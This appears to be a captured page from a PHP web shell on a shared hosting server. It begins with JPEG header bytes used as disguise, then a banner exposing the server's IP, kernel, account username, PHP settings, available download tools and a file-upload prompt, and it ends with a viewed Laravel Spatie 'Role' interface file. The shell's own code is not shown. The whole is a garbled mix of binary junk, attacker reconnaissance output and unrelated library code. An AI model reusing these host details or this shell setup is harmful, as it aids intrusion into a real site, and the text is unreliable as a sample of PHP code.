����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.191.149.30 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirmacademy.com/vendor/spatie/laravel-permission/src/Contracts/ |
Upload File : |
<?php namespace Spatie\Permission\Contracts; use Illuminate\Database\Eloquent\Relations\BelongsToMany; interface Role { /** * A role may be given various permissions. */ public function permissions(): BelongsToMany; /** * Find a role by its name and guard name. * * @param string|null $guardName * * @throws \Spatie\Permission\Exceptions\RoleDoesNotExist */ public static function findByName(string $name, $guardName): self; /** * Find a role by its id and guard name. * * @param string|null $guardName * * @throws \Spatie\Permission\Exceptions\RoleDoesNotExist */ public static function findById(int $id, $guardName): self; /** * Find or create a role by its name and guard name. * * @param string|null $guardName */ public static function findOrCreate(string $name, $guardName): self; /** * Determine if the user may perform the given permission. * * @param string|\Spatie\Permission\Contracts\Permission $permission */ public function hasPermissionTo($permission): bool; }